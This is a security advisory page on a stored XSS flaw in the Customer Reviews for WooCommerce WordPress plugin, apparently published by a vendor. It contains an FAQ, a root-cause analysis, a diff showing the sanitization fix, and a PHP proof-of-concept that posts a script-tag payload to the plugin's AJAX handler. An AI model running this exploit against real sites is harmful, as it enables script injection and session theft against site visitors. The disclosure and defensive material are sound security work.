What is CVE-2025-14891?

CVE-2025-14891 is a stored cross-site scripting (XSS) vulnerability in the Customer Reviews for WooCommerce plugin for WordPress. It allows authenticated users with customer-level access or higher to inject malicious scripts via the ‘displayName’ parameter, which can execute in the context of users viewing the affected pages.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s AJAX handler. Attackers can submit a crafted request to the AJAX endpoint, including a malicious payload in the ‘displayName’ parameter, which is then stored in the database and rendered unsafely on the review form page.

Who is affected by this vulnerability?

Any WordPress site using the Customer Reviews for WooCommerce plugin version 5.93.1 or earlier is affected. This includes sites where authenticated users, such as customers, can submit reviews, potentially allowing them to exploit this vulnerability.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Customer Reviews for WooCommerce plugin installed. If it is version 5.93.1 or earlier, your site is at risk. Additionally, review logs for any suspicious activity related to AJAX requests.

How can I fix this vulnerability?

The vulnerability is fixed in version 5.94.0 of the Customer Reviews for WooCommerce plugin. Update your plugin to this version or later to mitigate the risk. Ensure to test your site after the update to confirm functionality.

What if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the plugin temporarily or restricting access to authenticated users only. Monitor your site for any unusual activity and consider implementing web application firewalls to block malicious requests.

What does a CVSS score of 6.4 mean?

A CVSS score of 6.4 indicates a medium severity vulnerability. This means that while the vulnerability can be exploited, it requires certain conditions to be met, such as authenticated access, which may limit the immediate risk but still warrants prompt attention.

What are the practical risks of this vulnerability?

Successful exploitation can lead to stored XSS, allowing attackers to inject scripts that execute in the browsers of users who view the affected pages. This can result in session hijacking, defacement of web pages, or redirection to malicious sites, posing significant risks to user security.

How does the proof of concept demonstrate the issue?

The proof of concept provided shows how an attacker can send a crafted AJAX request to the vulnerable endpoint, including a malicious payload in the ‘displayName’ parameter. This illustrates the steps an attacker would take to exploit the vulnerability and the ease of executing such an attack.

What should I do if I suspect my site has been compromised?

If you suspect your site has been compromised, immediately investigate logs for suspicious activity, change passwords for all users, and consider restoring from a clean backup. Engage with security professionals if necessary to conduct a thorough analysis and remediation.

How can I stay informed about vulnerabilities?

To stay informed, regularly check security advisories from trusted sources, subscribe to security mailing lists, and follow best practices for maintaining your WordPress site, including timely updates of all plugins and themes.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-14891: Customer Reviews for WooCommerce <= 5.93.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting via displayName Parameter (customer-reviews-woocommerce)

CVE ID CVE-2025-14891

Plugin customer-reviews-woocommerce

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 5.93.1

Patched Version 5.94.0

Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14891:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Customer Reviews for WooCommerce WordPress plugin. The vulnerability exists in the plugin’s local forms AJAX handler, allowing attackers with customer-level access or higher to inject malicious scripts via the `displayName` parameter. The injected scripts execute in the context of any user viewing the affected review form page. The CVSS score of 6.4 reflects a medium severity impact.

The root cause is insufficient input sanitization and output escaping. The vulnerable code is located in the file `customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php`. In the `cr_local_forms_ajax` function, the plugin directly assigns the unsanitized `$_POST[‘displayName’]` value to the `$req->order->display_name` property at line 56. This same unsanitized value is then stored in the database via a `$wpdb->update` call at line 73. The stored value is later rendered unsafely in the template file `customer-reviews-woocommerce/templates/form-customer.php` without proper output escaping.

Exploitation requires an attacker to submit a crafted AJAX request to the WordPress admin-ajax.php endpoint. The request must use the action `cr_local_forms_ajax` and include a valid `formId` parameter, which an attacker can obtain by placing an order. The `displayName` parameter carries the malicious JavaScript payload. While the AJAX action can be invoked without authentication, a valid form ID is required. If guest checkout is enabled, an unauthenticated attacker can place an order to obtain a form ID and then proceed with the attack.

The patch addresses the vulnerability by applying input sanitization and output escaping. In `class-cr-local-forms-ajax.php`, the code now wraps `$_POST[‘displayName’]` with `sanitize_text_field()` before assignment. The sanitized value is then used for both the request object and the database update. Additionally, the patch adds `esc_html()` calls to all dynamic output variables in the `form-customer.php` template file, including `$cr_form_cust_title`, `$cr_form_cust_preview_name`, and others. This dual approach neutralizes the XSS vector.

Successful exploitation leads to stored XSS. An attacker can inject arbitrary JavaScript that executes in the browser of any user who views the compromised review form. This can result in session hijacking, account takeover, defacement, or redirection to malicious sites. The attack can be performed by any authenticated customer, significantly widening the potential attacker pool beyond administrators.

Differential between vulnerable and patched code

Code Diff

--- a/customer-reviews-woocommerce/class-ivole.php
+++ b/customer-reviews-woocommerce/class-ivole.php
@@ -84,7 +84,7 @@
 require_once( __DIR__ . '/includes/analytics/class-cr-reviews-top-charts.php' );

 class Ivole {
-	const CR_VERSION = '5.93.1';
+	const CR_VERSION = '5.94.0';

 	public function __construct() {
 		if( function_exists( 'wc' ) ) {
--- a/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php
+++ b/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php
@@ -53,7 +53,7 @@
 						$req = new stdClass();
 						$req->order = new stdClass();
 						$req->order->id = $record->orderId;
-						$req->order->display_name = $_POST['displayName'];
+						$req->order->display_name = sanitize_text_field( $_POST['displayName'] );
 						$req->order->items = array();
 						foreach( $db_items as $item ) {
 							if( -1 === intval( $item['id'] ) ) {
@@ -73,7 +73,7 @@

 						$db_items = json_encode( $db_items );
 						$update_result = $wpdb->update( $table_name, array(
-							'displayName' => $_POST['displayName'],
+							'displayName' => $req->order->display_name,
 							'items' => $db_items
 						), array( 'formId' => $_POST['formId'] ) );
 						if( false !== $update_result ) {
--- a/customer-reviews-woocommerce/ivole.php
+++ b/customer-reviews-woocommerce/ivole.php
@@ -3,7 +3,7 @@
 Plugin Name: Customer Reviews for WooCommerce
 Description: Customer Reviews for WooCommerce plugin helps you get more customer reviews for your shop by sending automated reminders and coupons.
 Plugin URI: https://wordpress.org/plugins/customer-reviews-woocommerce/
-Version: 5.93.1
+Version: 5.94.0
 Author: CusRev
 Author URI: https://www.cusrev.com/business/
 Text Domain: customer-reviews-woocommerce
--- a/customer-reviews-woocommerce/templates/form-customer.php
+++ b/customer-reviews-woocommerce/templates/form-customer.php
@@ -8,7 +8,7 @@
 <div class="cr-form-customer">
 	<div class="cr-form-customer-title-ctr">
 		<div class="cr-form-customer-title">
-			<?php echo $cr_form_cust_title; ?>
+			<?php echo esc_html( $cr_form_cust_title ); ?>
 		</div>
 	</div>
 	<div class="cr-form-item-container">
@@ -16,27 +16,27 @@
 			<div class="cr-form-customer-name">
 				<div class="cr-form-customer-name-preview">
 					<div class="cr-form-customer-name-preview-name">
-						<?php echo $cr_form_cust_preview_name; ?>
+						<?php echo esc_html( $cr_form_cust_preview_name ); ?>
 					</div>
 				</div>
 				<div class="cr-form-customer-name-options">
 					<?php if ( $cr_form_cust_name ) : ?>
 					<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_name ) echo ' cr-form-active-name' ?>">
-						<span><?php echo $cr_form_cust_name; ?></span>
+						<span><?php echo esc_html( $cr_form_cust_name ); ?></span>
 					</div>
 					<?php endif; ?>
 					<?php if ( $cr_form_cust_name_w_dot ) : ?>
 						<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_name_w_dot ) echo ' cr-form-active-name' ?>">
-							<span><?php echo $cr_form_cust_name_w_dot; ?></span>
+							<span><?php echo esc_html( $cr_form_cust_name_w_dot ); ?></span>
 						</div>
 					<?php endif; ?>
 					<?php if ( $cr_form_cust_f_name ) : ?>
 						<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_f_name ) echo ' cr-form-active-name' ?>">
-							<span><?php echo $cr_form_cust_f_name; ?></span>
+							<span><?php echo esc_html( $cr_form_cust_f_name ); ?></span>
 						</div>
 					<?php endif; ?>
 					<div class="cr-form-customer-name-option<?php if( $cr_form_cust_preview_name === $cr_form_cust_anonymous ) echo ' cr-form-active-name' ?>">
-						<span><?php echo $cr_form_cust_anonymous; ?></span>
+						<span><?php echo esc_html( $cr_form_cust_anonymous ); ?></span>
 					</div>
 				</div>
 			</div>
@@ -47,6 +47,6 @@
 	<?php echo $cr_form_terms; ?>
 </div>
 <div class="cr-form-submit">
-	<span class="cr-form-submit-label"><?php echo $cr_form_submit; ?></span>
+	<span class="cr-form-submit-label"><?php echo esc_html( $cr_form_submit ); ?></span>
 	<span class="cr-form-submit-loader"></span>
 </div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14891 - Customer Reviews for WooCommerce <= 5.93.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via displayName Parameter
<?php
// Configure the target WordPress site URL
$target_url = 'https://vulnerable-site.com';

// Configure the form ID obtained from a previous order
$form_id = '12345';

// Configure the malicious payload for the displayName parameter
$payload = '"><script>alert(document.domain)</script>';

// Build the AJAX endpoint URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the POST data
$post_fields = [
    'action' => 'cr_local_forms_ajax',
    'formId' => $form_id,
    'displayName' => $payload
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check the response
if ($http_code === 200) {
    echo 'Payload may have been injected. Check the review form page for script execution.n';
    echo 'Response: ' . $response . 'n';
} else {
    echo 'Request failed with HTTP code: ' . $http_code . 'n';
}
?>

Frequently Asked Questions

What is CVE-2025-14891?
Understanding the vulnerability
CVE-2025-14891 is a stored cross-site scripting (XSS) vulnerability in the Customer Reviews for WooCommerce plugin for WordPress. It allows authenticated users with customer-level access or higher to inject malicious scripts via the ‘displayName’ parameter, which can execute in the context of users viewing the affected pages.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s AJAX handler. Attackers can submit a crafted request to the AJAX endpoint, including a malicious payload in the ‘displayName’ parameter, which is then stored in the database and rendered unsafely on the review form page.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Customer Reviews for WooCommerce plugin version 5.93.1 or earlier is affected. This includes sites where authenticated users, such as customers, can submit reviews, potentially allowing them to exploit this vulnerability.
How can I check if my site is vulnerable?
Verifying plugin version
To check if your site is vulnerable, verify the version of the Customer Reviews for WooCommerce plugin installed. If it is version 5.93.1 or earlier, your site is at risk. Additionally, review logs for any suspicious activity related to AJAX requests.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is fixed in version 5.94.0 of the Customer Reviews for WooCommerce plugin. Update your plugin to this version or later to mitigate the risk. Ensure to test your site after the update to confirm functionality.
What if I cannot update the plugin immediately?
Mitigation strategies
If immediate updating is not possible, consider disabling the plugin temporarily or restricting access to authenticated users only. Monitor your site for any unusual activity and consider implementing web application firewalls to block malicious requests.
What does a CVSS score of 6.4 mean?
Understanding severity levels
A CVSS score of 6.4 indicates a medium severity vulnerability. This means that while the vulnerability can be exploited, it requires certain conditions to be met, such as authenticated access, which may limit the immediate risk but still warrants prompt attention.
What are the practical risks of this vulnerability?
Potential impacts on users
Successful exploitation can lead to stored XSS, allowing attackers to inject scripts that execute in the browsers of users who view the affected pages. This can result in session hijacking, defacement of web pages, or redirection to malicious sites, posing significant risks to user security.
How does the proof of concept demonstrate the issue?
Illustrating the exploitation process
The proof of concept provided shows how an attacker can send a crafted AJAX request to the vulnerable endpoint, including a malicious payload in the ‘displayName’ parameter. This illustrates the steps an attacker would take to exploit the vulnerability and the ease of executing such an attack.
What should I do if I suspect my site has been compromised?
Responding to potential breaches
If you suspect your site has been compromised, immediately investigate logs for suspicious activity, change passwords for all users, and consider restoring from a clean backup. Engage with security professionals if necessary to conduct a thorough analysis and remediation.
How can I stay informed about vulnerabilities?
Keeping up with security updates
To stay informed, regularly check security advisories from trusted sources, subscribe to security mailing lists, and follow best practices for maintaining your WordPress site, including timely updates of all plugins and themes.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations